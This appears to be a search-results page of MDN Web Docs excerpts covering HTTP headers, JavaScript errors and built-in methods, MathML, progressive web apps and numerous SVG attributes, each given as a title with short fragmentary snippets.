these windows must remain in the same process as their opener, as they can communicate, meaning that we cannot allow them to switch processes.
...this is for the same reason as above, namely that they can communicate and thus we cannot allow them to switch processes.
Server-Timing - HTTP
the server-timing header communicates one or more metrics and descriptions for a given request-response cycle.
... header type response header forbidden header name no syntax the syntax of the server-timing header allows you to communicate metrics in different ways: server metric name only, metric with value, metric with value and description, and metric with description.
SameSite cookies - HTTP
fixing common warnings samesite=none requires secure the following warning might appear in your console: some cookies are misusing the “samesite“ attribute, so it won’t work as expected.
... the warning appears because the samesite policy for a cookie has not specified explicitly: set-cookie: flavor=choco while you could rely on modern browsers to apply samesite=lax automatically, you should rather specify it explicitly to clearly communicate your intent which samesite policy applies to your cookie.
Set-Cookie - HTTP
a <cookie-value> can optionally be wrapped in double quotes and include any us-ascii characters excluding control characters, whitespace, double quotes, comma, semicolon, and backslash.
...a zero or negative number will expire the cookie immediately.
Set-Cookie2 - HTTP
header type response header forbidden header name no syntax set-cookie2: <cookie-name>=<cookie-value> set-cookie2: <cookie-name>=<cookie-value>; comment=<value> set-cookie2: <cookie-name>=<cookie-value>; commenturl=<http-url> set-cookie2: <cookie-name>=<cookie-value>; discard set-cookie2: <cookie-name>=<cookie-value>; domain=<domain-value> set-cookie2: <cookie-name>=<cookie-value>; max-age=<non-zero-digit> set-cookie2: <cookie-name>=<cookie-value>; path=<path-value> set-cookie2: <cookie-name>=<cookie-value>; port=<port-number> set-cookie2: <cookie-name>=<cookie-value>; secure set...
...-cookie2: <cookie-name>=<cookie-value>; version=<version-number> // multiple directives are also possible, for example: set-cookie2: <cookie-name>=<cookie-value>; domain=<domain-value>; secure // multiple cookies are seperated by a comma set-cookie2: <cookie-name>=<cookie-value>, <cookie-name>=<cookie-value>, ...
Timing-Allow-Origin - HTTP
you can specify multiple origins, separated by commas.
... examples to allow any resource to see timing resources: timing-allow-origin: * to allow https://developer.mozilla.org to see timing resources, you can specify: timing-allow-origin: https://developer.mozilla.org specifications specification status comment resource timing level 3the definition of 'timing-allow-origin' in that specification.
Tk - HTTP
WebHTTPHeadersTk
the origin server is currently testing its communication of tracking status.
... examples a tk header for a resource that claims not to be tracking would look like: tk: n specifications specification status comment tracking preference expression (dnt)the definition of 'tk header field' in that specification.
Transfer-Encoding - HTTP
header type response header forbidden header name yes syntax transfer-encoding: chunked transfer-encoding: compress transfer-encoding: deflate transfer-encoding: gzip transfer-encoding: identity // several values can be listed, separated by a comma transfer-encoding: gzip, chunked directives chunked data is sent in a series of chunks.
...the http/1.1 standard also recommends that the servers supporting this content-encoding should recognize x-gzip as an alias, for compatibility purposes.
Upgrade-Insecure-Requests - HTTP
location: https://example.com/ vary: upgrade-insecure-requests specifications specification status comment upgrade insecure requeststhe definition of 'upgrade-insecure-requests' in that specification.
... candidate recommendation initial definition.
Upgrade - HTTP
WebHTTPHeadersUpgrade
protocols are listed, comma-separated, in order of descending preference.
...for example: connection: upgrade upgrade: a_protocol/1, example ,another_protocol/2.2 directives any comma-separated list protocol names (each with optional protocol version) one or more protocol names with optional version ("/" separated).
User-Agent - HTTP
header type request header forbidden header name no syntax user-agent: <product> / <product-version> <comment> common format for web browsers: user-agent: mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions> directives <product> a product identifier — its name or development codename.
... <comment> zero or more comments containing more details; sub-product information, for example.
HTTP headers - HTTP
WebHTTPHeaders
strict-transport-security (hsts) force communication using https instead of http.
... server-timing communicates one or more metrics and descriptions for the given request-response cycle.
Link prefetching FAQ - HTTP
this may impact referrer tracking that is commonly used on many sites.
... if you have any questions or comments about link prefetching, please feel free to send them my way :-) see also...
HTTP Messages - HTTP
WebHTTPMessages
this is the most common form, known as the origin form, and is used with get, post, head, and options methods.
...common status codes are 200, 404, or 302 a status text.
OPTIONS - HTTP
WebHTTPMethodsOPTIONS
the http options method requests permitted communication options for a given url or server.
... request has body no successful response has body yes safe yes idempotent yes cacheable no allowed in html forms no syntax options /index.html http/1.1 options * http/1.1 examples identifying allowed request methods to find out which request methods a server supports, one can use the curl command-line program to issue an options request: curl -x options https://example.org -i the response then contains an allow header that holds the allowed methods: http/1.1 204 no content allow: options, get, head, post cache-control: max-age=604800 date: thu, 13 oct 2016 11:45:00 gmt server: eos (lax004/2813) preflighted requests in cors in cors, a preflight request is sent with the options met...
Proxy Auto-Configuration (PAC) file - HTTP
in chrome (versions 52 to 73), you can disable this by setting pachttpsurlstrippingenabled to false in policy or by launching with the --unsafe-pac-url command-line flag (in chrome 74, only the flag works, and from 75 onward, there is no way to disable path-stripping; as of chrome 81, path-stripping does not apply to http urls, but there is interest in changing this behavior to match https); in firefox, the preference is network.proxy.autoconfig_url.include_path.
... the pac file is named proxy.pac command line: pactester -p ~/pacparser-master/tests/proxy.pac -u http://www.mozilla.org (passes the host parameter www.mozilla.org and the url parameter http://www.mozilla.org) isplainhostname() syntax isplainhostname(host) parameters host the hostname from the url (excluding port number).
Proxy servers and tunneling - HTTP
a common way to disclose this information is by using the following http headers: the standardized header: forwarded contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.
...it starts two-way communications with the requested resource and can be used to open a tunnel.
Assertions - JavaScript
if the multiline flag is set to true, also matches immediately after a line break character.
...if the multiline flag is set to true, also matches immediately before a line break character.
Text formatting - JavaScript
you can't change individual characters because strings are immutable array-like objects: const hello = 'hello, world!'; const hellolength = hello.length; hello[0] = 'l'; // this has no effect, because strings are immutable hello[0]; // this returns "h" characters whose unicode scalar values are greater than u+ffff (such as some rare chinese/japanese/korean/vietnamese characters and some emoji) are stored in utf-16 with two surrogate code units each.
... the following table summarizes the methods of string objects.
JavaScript Guide - JavaScript
chapters this guide is divided into several chapters: introduction about this guide about javascript javascript and java ecmascript tools hello world grammar and types basic syntax & comments declarations variable scope variable hoisting data structures and types literals control flow and error handling if...else switch try/catch/throw error objects loops and iteration for while do...while break/continue for..in for..of functions defining functions calling functions function scope closures arguments & pa...
...kmap set weakset working with objects objects and properties creating objects defining methods getter and setter details of the object model prototype-based oop creating object hierarchies inheritance promises guarantees chaining error propagation composition timing iterators and generators iterators iterables generators meta programming proxy handlers and traps revocable proxy reflect javascript modules exporting importing default exports renaming features aggregating modules dynamic module loading next » ...
Inheritance and the prototype chain - JavaScript
for the best learning experience, it is highly recommended that you open a console, navigate to the "console" tab, copy-and-paste in the below javascript code, and run it by pressing the enter/return key.
... summary of methods for extending the prototype chain here are all 4 ways and their pros/cons.
JavaScript technologies overview - JavaScript
javascript, the core language (ecmascript) the core language of javascript is standardized by the ecma tc39 committee as a language named ecmascript.
... websockets allows low-level bidirectional communication.
Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript
there are two ways to assign a source map, either by using a comment or by setting a header to the javascript file.
... examples setting source maps setting a source map by using a comment in the file: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map or, alternatively, you can set a header to your javascript file: x-sourcemap: /path/to/file.js.map ...
RangeError: radix must be an integer - JavaScript
the most common radixes: 2 for binary numbers, 8 for octal numbers, 10 for decimal numbers, 16 for hexadecimal numbers.
... examples invalid cases (42).tostring(0); (42).tostring(1); (42).tostring(37); (42).tostring(150); // you cannot use a string like this for formatting: (12071989).tostring('mm-dd-yyyy'); valid cases (42).tostring(2); // "101010" (binary) (13).tostring(8); // "15" (octal) (0x42).tostring(10); // "66" (decimal) (100000).tostring(16) // "186a0" (hexadecimal) ...
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
the conditional compilation comment in ie is a little known feature, but it broke source maps with jquery and other libraries.
... //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map or, alternatively, you can set a sourcemap header to your javascript file to avoid having a comment at all: sourcemap: /path/to/file.js.map ...
TypeError: invalid assignment to const "x" - JavaScript
const columns = 80; function setupbigscreenenvironment() { const columns = 120; } const and immutability the const declaration creates a read-only reference to a value.
... it does not mean the value it holds is immutable, just that the variable identifier cannot be reassigned.
SyntaxError: missing ] after element list - JavaScript
likely there is a closing bracket ("]") or a comma (",") missing.
...likely there is a closing bracket ("]") or a comma (",") missing.
SyntaxError: missing ) after condition - JavaScript
in any programming language, code needs to make decisions and carry out actions accordingly depending on different inputs.
... if (3 > math.pi) { console.log("wait what?"); } misused is keyword if you are coming from another programming language, it is also easy to add keywords that don't mean the same or have no meaning at all in javascript.
SyntaxError: Unexpected token - JavaScript
examples expression expected for example, when chaining expressions, trailing commas are not allowed.
... for (let i = 0; i < 5,; ++i) { console.log(i); } // syntaxerror: expected expression, got ')' correct would be omitting the comma or adding another expression: for (let i = 0; i < 5; ++i) { console.log(i); } not enough brackets sometimes, you leave out brackets around if statements: function round(n, upperbound, lowerbound){ if(n > upperbound) || (n < lowerbound){ throw 'number ' + string(n) + ' is more than ' + string(upperbound) + ' or less than ' + string(lowerbound); }else if(n < ((upperbound + lowerbound)/2)){ return lowerbound; }else{ return upperbound; } } // syntaxerror: expected expression, got '||' the brackets may look correct at first, but note how the || is outside the brackets.
SyntaxError: function statement requires a name - JavaScript
examples statements vs expressions a function statement (or function declaration) requires a name, this won't work: function () { return 'hello world'; } // syntaxerror: function statement requires a name you can use a function expression (assignment) instead: var greet = function() { return 'hello world'; }; or, you function is maybe intended to be an iife (immediately invoked function expression), which is a function that runs as soon as it is defined.
...brackets and commas can get difficult easily.
JavaScript error reference - JavaScript
these errors can be a helpful debugging aid, but the reported problem isn't always immediately clear.
...use //# insteadsyntaxerror: a declaration in the head of a for-of loop can't have an initializersyntaxerror: applying the "delete" operator to an unqualified name is deprecatedsyntaxerror: for-in loop head declarations may not have initializerssyntaxerror: function statement requires a namesyntaxerror: identifier starts immediately after numeric literalsyntaxerror: illegal charactersyntaxerror: invalid regular expression flag "x"syntaxerror: missing ) after argument listsyntaxerror: missing ) after conditionsyntaxerror: missing : after property idsyntaxerror: missing ; before statementsyntaxerror: missing = in const declarationsyntaxerror: missing ] after element listsyntaxerror: missing formal parametersyntaxerror:...
Arrow function expressions - JavaScript
this proved to be less than ideal with an object-oriented style of programming.
... let callback; callback = callback || function() {}; // ok callback = callback || () => {}; // syntaxerror: invalid arrow-function arguments callback = callback || (() => {}); // ok examples basic usage // an empty arrow function returns undefined let empty = () => {}; (() => 'foobar')(); // returns "foobar" // (this is an immediately invoked function expression) var simple = a => a > 15 ?
Array.prototype.copyWithin() - JavaScript
if target is positioned after start, the copied sequence will be trimmed to fit arr.length.
... description the copywithin works like c and c++'s memmove, and is a high-performance method to shift the data of an array.
Array.prototype.map() - JavaScript
tricky use case (inspired by this blog post) it is common to use the callback with one argument (the element being traversed).
... certain functions are also commonly used with one argument, even though they take additional optional arguments.
Array.prototype.push() - JavaScript
although strings are native, array-like objects, they are not suitable in applications of this method, as strings are immutable.
... let sports = ['soccer', 'baseball'] let total = sports.push('football', 'swimming') console.log(sports) // ['soccer', 'baseball', 'football', 'swimming'] console.log(total) // 4 merging two arrays this example uses apply() to push all elements from a second array.
Array.prototype.toLocaleString() - JavaScript
the elements are converted to strings using their tolocalestring methods and these strings are separated by a locale-specific string (such as a comma “,”).
... // note: in this case, we will use a comma var separator = ','; // 4.
Array - JavaScript
since an array's length can change at any time, and data can be stored at non-contiguous locations in the array, javascript arrays are not guaranteed to be dense; this depends on how the programmer chooses to use them.
... common operations create an array let fruits = ['apple', 'banana'] console.log(fruits.length) // 2 access an array item using the index position let first = fruits[0] // apple let last = fruits[fruits.length - 1] // banana loop over an array fruits.foreach(function(item, index, array) { console.log(item, index) }) // apple 0 // banana 1 add an item to the end of an array let newlength =...
Date.UTC() - JavaScript
description utc() takes comma-delimited date and time parameters and returns the number of milliseconds between january 1, 1970, 00:00:00, universal time and the specified date and time.
... if a parameter is outside of the expected range, the utc() method updates the other parameters to accommodate the value.
Date.parse() - JavaScript
it is not recommended to use date.parse as until es5, parsing of strings was entirely implementation dependent.
... there are still many differences in how different hosts parse date strings, therefore date strings should be manually parsed (a library can help if many different formats are to be accommodated).
Intl.Locale.prototype.collation - JavaScript
the collation property helps to make it easier for javascript programmers to access the collation type used by a particular locale.
... direct binary code point order (used in hindi) ducet the default unicode collation element table order emoji recommended ordering for emoji characters eor european ordering rules gb2312 pinyin ordering for latin, gb2312han charset ordering for cjk characters (used in chinese) phonebk phonebook style ordering (such as in german) phonetic phonetic ordering (sorting based on pronunciation) pinyin pinyin ordering for latin and for cjk characters (used in ...
Intl - JavaScript
the intl object provides access to several constructors as well as functionality common to the internationalization constructors and other language sensitive functions.
... locale identification and negotiation the internationalization constructors as well as several language sensitive methods of other constructors (listed under see also) use a common pattern for identifying locales and determining the one they will actually use: they all accept locales and options arguments, and negotiate the requested locale(s) against the locales they support using an algorithm specified in the options.localematcher property.
JSON.parse() - JavaScript
third, we delete all // open brackets that follow a colon or comma or that begin the text.
...}); // 1 // 2 // 4 // 6 // 5 // 3 // "" json.parse() does not allow trailing commas // both will throw a syntaxerror json.parse('[1, 2, 3, 4, ]'); json.parse('{"foo" : 1, }'); json.parse() does not allow single quotes // will throw a syntaxerror json.parse("{'foo': 1}"); specifications specification ecmascript (ecma-262)the definition of 'json.parse' in that specification.
Number - JavaScript
there is no separate integer type in common everyday use.
...learn more on numeric lexical grammar here.
Object.prototype.constructor - JavaScript
new number(), 1, // remains unchanged new object(), {}, new regexp(), /(?:)/, new string(), 'test' // remains unchanged ] for (let i = 0; i < types.length; i++) { types[i].constructor = type types[i] = [types[i].constructor, types[i] instanceof type, types[i].tostring()] } console.log(types.join('\n')) this example displays the following output (comments added for reference): function type() {},false, // new array() function type() {},false, // [] function type() {},false,false // new boolean() function boolean() { [native code] },false,true // true function type() {},false,mon sep 01 201...
... summary: manually updating or setting the constructor can lead to differrent and sometimes confusing consequences.
Promise() constructor - JavaScript
you, the programmer, write the executor.
...it communicates via the side-effect caused by resolutionfunc or rejectionfunc.
String length - JavaScript
utf-16, the string format used by javascript, uses a single 16-bit code unit to represent the most common characters, but needs to use two code units for less commonly-used characters, so it's possible for the value returned by length to not match the actual number of characters in the string.
... unicode since `length` counts code units instead of characters, if you want to get the number of characters you need something like this: function getcharacterlength (str) { // the string iterator that is used here iterates over characters, // not mere code units return [...str].length; } console.log(getcharacterlength('a\ud87e\udc04z')); // 3 // while not recommended, you could add this to each string as follows: object.defineproperty(string.prototype, 'charlength', { get () { return getcharacterlength(this); } }); console.log('a\ud87e\udc04z'.charlength); // 3 examples basic usage let x = 'mozilla'; let empty = ''; console.log(x + ' is ' + x.length + ' code units long'); /* "mozilla is 7 code units long" */ console.log('the empty string ...
eval() - JavaScript
console.log(function('"use strict";return(function(a){return a(5)})')()(function(a){ return"monday tuesday wednesday thursday friday saturday sunday".split(" ")[a%7||0]})); there are also additional safer (and faster!) alternatives to eval() or function() for common use-cases.
...for example, trailing commas are not allowed in json, and property names (keys) in object literals must be enclosed in quotes.
Exponentiation (**) - JavaScript
that is, you cannot put a unary operator (+/-/~/!/delete/void/typeof) immediately before the base number; doing so will cause a syntaxerror.
... note that some programming languages use the caret symbol ^ for exponentiation, but javascript uses that symbol for the bitwise logical xor operator.
Object initializer - JavaScript
an object initializer is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}).
...you simply notate a list of key: value pairs delimited by commas.
Function expression - JavaScript
a function expression can be used as an iife (immediately invoked function expression) which runs as soon as it is defined.
...the function returns the square of its argument: var x = function(y) { return y * y; }; using a function as a callback more commonly it is used as a callback: button.addeventlistener('click', function(event) { console.log('button is clicked!') }) using an immediately executed function expression an anonymous function is created and called: (function() { console.log('code runs!') })(); specifications specification ecmascript (ecma-262)the definition of 'function definitions' in that spe...
yield - JavaScript
the next time next() is called, execution resumes with the statement immediately after the yield.
... unfortunately, next() is asymmetric, but that can’t be helped: it always sends a value to the currently suspended yield, but returns the operand of the following yield.
block - JavaScript
combining statements into blocks is a common practice in javascript.
... blocks are commonly used in association with if...else and for statements.
function* - JavaScript
generators in javascript -- especially when combined with promises -- are a very powerful tool for asynchronous programming as they mitigate -- if not entirely eliminate -- the problems with callbacks, such as callback hell and inversion of control.
... calling a generator function does not execute its body immediately; an iterator object for the function is returned instead.
try...catch - JavaScript
if any statement within the try-block (or in a function called from within the try-block) throws an exception, control is immediately shifted to the catch-block.
... if (e instanceof typeerror) { // statements to handle typeerror exceptions } else if (e instanceof rangeerror) { // statements to handle rangeerror exceptions } else if (e instanceof evalerror) { // statements to handle evalerror exceptions } else { // statements to handle any unspecified exceptions logmyerrors(e); // pass exception object to error handler } } a common use case for this is to only catch (and silence) a small subset of expected errors, and then re-throw the error in other cases: try { myroutine(); } catch (e) { if (e instanceof rangeerror) { // statements to handle this very common expected error } else { throw e; // re-throw the error unchanged } } the exception identifier when an exception is thrown in the try-block, exc...
var - JavaScript
note that in both nodejs commonjs modules and native ecmascript modules, top-level variable declarations are scoped to the module, and are not, therefore added as properties to the global object.
... bla = 2; var bla; // ...is implicitly understood as: var bla; bla = 2; for that reason, it is recommended to always declare variables at the top of their scope (the top of global code and the top of function code) so it's clear which variables are function scoped (local) and which are resolved on the scope chain.
MathML element reference - MathML
ns to sub-expressions) <maligngroup> (alignment group) <malignmark> (alignment points) e <menclose> (enclosed contents) <merror> (enclosed syntax error messages) f <mfenced> (parentheses) <mfrac> (fraction) g <mglyph> (displaying non-standard symbols) i <mi> (identifier) l <mlabeledtr> (labeled row in a table or a matrix) <mlongdiv> (long division notation) m <mmultiscripts> (prescripts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscript) p <mpadded> (space around content) <mphantom> (invisible content with reserved space) r <mroot> (radical with specified index) <mrow> (grouped sub-expressions) s <ms> (string literal) <mscarries> (annotations such as carries) <mscarry> (single carry, child element of <m...
...iner for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) mathml presentation elements by category top-level elements <math> token elements <mglyph> <mi> <mn> <mo> <ms> <mspace> <mtext> general layout <menclose> <merror> <mfenced> <mfrac> <mpadded> <mphantom> <mroot> <mrow> <msqrt> <mstyle> script and limit elements <mmultiscripts> <mover> <mprescripts> <msub> <msubsup> <msup> <munder> <munderover> <none> tabular math <maligngroup> <malignmark> <mlabeledtr> <mtable> <mtd> <mtr> elementary math <mlongdiv> <mscarries> <mscarry> <msgroup> <msline> <msrow> <mstack> uncategorized elements <maction> semantic annotations <annotation> <annotation-xml> <semantics> ...
MathML
for a quick overview, see the slides for the innovation fairs at mozilla summit 2013.
... getting help from the community view mozilla forums...
Web media technologies
webrtc webrtc (web real-time communication) makes it possible to stream live audio and video, as well as transfer arbitrary data, between two peers over the internet, without requiring an intermediary.
...this includes recommendations for what formats to use for what kinds of content, best practices including how to provide fallbacks and how to prioritize media types, and also includes general browser support information for each media container and codec.
OpenSearch description format
opensearch description files can be advertised as described in autodiscovery of search plugins, and can be installed programmatically as described in adding search engines from web pages.
... <opensearchdescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/"> <shortname>[snk]</shortname> <description>[search engine full name and summary]</description> <inputencoding>[utf-8]</inputencoding> <image width="16" height="16" type="image/x-icon">[https://example.com/favicon.ico]</image> <url type="text/html" template="[searchurl]"> <param name="[key name]" value="{searchterms}"/> <!-- other params if you need them… --> <param name="[other key name]" value="[parameter value]"/> </url> <url type="application/x-...
Lazy loading - Web Performance
a practical example would be when, you land on the home page of an e-commerce site which has a link to a cart page/section and all its resources (js, css, images...) are downloaded only when the user navigates to that cart page.
... event handlers when browser compatibility is crucial, there are a few options: polyfill intersection observer fallback to scroll, resize or orientation change event handlers to determine if a specific element is in viewport specifications specification status comment html living standard living standard ...
Performance budgets - Web Performance
a large library with smaller alternatives is often picked to solve a common problem).
... file size checks are the first line of defense against regressions but translating size back into time metrics can be difficult since development environments could be missing 3rd party scripts, and optimizations commonly provided by a cdn.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
this introduces a different approach from traditional web programming — the api is non-blocking, and can send and receive communication between different contexts.
... summary in this article we took a simple look at how you can make your pwa work offline with service workers.
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
instead of showing the notification immediately though, best practice dictates that we should show the popup when the user requests it by clicking on a button: var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if(result === 'granted') { randomnotification(); } }); }); this shows a popup usin...
...*/ }); the data can be retrieved and then shown as a notification to the user immediately.
accent-height - SVG: Scalable Vector Graphics
value <number> default value value of ascent animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'accent-height' in that specification.
... recommendation initial definition ...
accumulate - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'accumulate' in that specification.
... recommendation initial definition ...
additive - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'additive' in that specification.
... recommendation initial definition ...
alphabetic - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value 0 animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'alphabetic' in that specification.
... recommendation initial definition ...
arabic-form - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'arabic-form' in that specification.
... recommendation initial definition ...
ascent - SVG: Scalable Vector Graphics
WebSVGAttributeascent
value <number> default value difference between units-per-em and vert-origin-y animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'ascent' in that specification.
... recommendation initial definition ...
attributeName - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'attributename' in that specification.
... recommendation initial definition ...
attributeType - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'attributetype' in that specification.
... recommendation initial definition ...
azimuth - SVG: Scalable Vector Graphics
WebSVGAttributeazimuth
imuth="240" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'azimuth' in that specification.
... recommendation initial definition ...
baseFrequency - SVG: Scalable Vector Graphics
ementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of 'basefrequency' in that specification.
... recommendation initial definition ...
baseProfile - SVG: Scalable Vector Graphics
</svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'baseprofile' in that specification.
... recommendation initial definition ...
begin - SVG: Scalable Vector Graphics
WebSVGAttributebegin
begin-5-accesskey.svg specifications specification status comment svg animations level 2the definition of 'begin for <discard>' in that specification.
... recommendation initial definition ...
bias - SVG: Scalable Vector Graphics
WebSVGAttributebias
specifications specification status comment filter effects module level 1the definition of 'bias' in that specification.
... recommendation initial definition ...
by - SVG: Scalable Vector Graphics
WebSVGAttributeby
specifications specification status comment svg animations level 2the definition of 'by' in that specification.
... recommendation initial definition ...
calcMode - SVG: Scalable Vector Graphics
specifications specification status comment svg animations level 2the definition of 'calcmode' in that specification.
... recommendation initial definition ...
cap-height - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'cap-height' in that specification.
... recommendation initial definition ...
class - SVG: Scalable Vector Graphics
WebSVGAttributeclass
unless explicitly described differently, lists within svg's xml attributes can be either comma-separated (with optional white space before or after the comma), or white space-separated.
... the following is a template for an ebnf grammar describing the <list-of-ts> syntax: list-of-ts ::= t | t, list-of-ts within the svg dom, values of a <list-of-ts> type are represented by an interface specific for the particular type t.
color-interpolation-filters - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'color-interpolation' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
color-profile - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-profile' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
contentScriptType - SVG: Scalable Vector Graphics
usage notes value one of the content types specified in the media types default value application/ecmascript animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'contentscripttype' in that specification.
... recommendation initial definition ...
data-* - SVG: Scalable Vector Graphics
WebSVGAttributedata-*
specifications specification status comment scalable vector graphics (svg) 2the definition of 'data-*' in that specification.
... candidate recommendation custom data attributes are new in svg 2.
descent - SVG: Scalable Vector Graphics
WebSVGAttributedescent
only one element is using this attribute: <font-face> usage notes value <number> default value value of vert-origin-y animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'descent' in that specification.
... recommendation initial definition ...
diffuseConstant - SVG: Scalable Vector Graphics
fuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'diffuseconstant' in that specification.
... recommendation initial definition ...
divisor - SVG: Scalable Vector Graphics
WebSVGAttributedivisor
specifications specification status comment filter effects module level 1the definition of 'divisor' in that specification.
... recommendation initial definition ...
edgeMode - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'edgemode for <fegaussianblur>' in that specification.
... recommendation initial definition for <feconvolvematrix> ...
elevation - SVG: Scalable Vector Graphics
vation="45" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'elevation' in that specification.
... recommendation initial definition ...
enable-background - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'enable-background' in that specification.
... recommendation initial definition ...
end - SVG: Scalable Vector Graphics
WebSVGAttributeend
specifications specification status comment svg animations level 2the definition of 'end' in that specification.
... recommendation initial definition ...
externalResourcesRequired - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'externalresourcesrequired' in that specification.
... recommendation initial definition ...
filter - SVG: Scalable Vector Graphics
WebSVGAttributefilter
specifications specification status comment filter effects module level 1the definition of 'filter' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
filterRes - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'filterres' in that specification.
... recommendation initial definition ...
filterUnits - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'filterunits' in that specification.
... recommendation initial definition ...
flood-color - SVG: Scalable Vector Graphics
y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood2); transform: translatex(220px);" /> </svg> usage notes value color initial value black animatable yes specifications specification status comment filter effects module level 1the definition of 'flood-color' in that specification.
... recommendation initial definition ...
flood-opacity - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'flood-opacity' in that specification.
... recommendation initial definition ...
fr - SVG: Scalable Vector Graphics
WebSVGAttributefr
hite" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fr' in that specification.
... candidate recommendation initial definition ...
from - SVG: Scalable Vector Graphics
WebSVGAttributefrom
specifications specification status comment svg animations level 2the definition of 'from' in that specification.
... recommendation initial definition ...
glyph-orientation-horizontal - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyph-orientation-horizontal' in that specification.
... recommendation initial definition ...
hanging - SVG: Scalable Vector Graphics
WebSVGAttributehanging
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'hanging' in that specification.
... recommendation initial definition ...
horiz-origin-x - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-origin-x' in that specification.
... recommendation initial definition ...
horiz-origin-y - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-origin-y' in that specification.
... recommendation initial definition ...
ideographic - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'ideographic' in that specification.
... recommendation initial definition ...
in - SVG: Scalable Vector Graphics
WebSVGAttributein
--> <feimage xlink:href="https://developer.mozilla.org/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> <feblend in2="sourcegraphic" mode="multiply"/> </filter> </defs> <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#imagemultiply);"/> </svg> </div> result specifications specification status comment filter effects module level 1the definition of 'in' in that specification.
... recommendation initial definition ...
intercept - SVG: Scalable Vector Graphics
eight="200" fill="url(#gradient)" style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 0 animatable yes specifications specification status comment filter effects module level 1the definition of 'intercept' in that specification.
... recommendation initial definition ...
k - SVG: Scalable Vector Graphics
WebSVGAttributek
